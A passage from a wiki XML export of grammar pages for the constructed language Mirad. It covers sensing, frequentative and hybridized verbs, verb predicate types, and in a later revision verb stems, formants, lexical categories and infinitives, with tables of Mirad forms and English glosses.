| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>7un3a2316n462k3zcdgko7red6ct4dw</sha1>
    </revision>
    <revision>
      <id>4670497</id>
      <parentid>4670494</parentid>
      <timestamp>2026-09-16T19:20:29Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Making Verbs Terminative with uj- */</comment>
      <origin>4670497</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="136867" sha1="lgufmh716cokxs1yi3vf676caqecpva" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

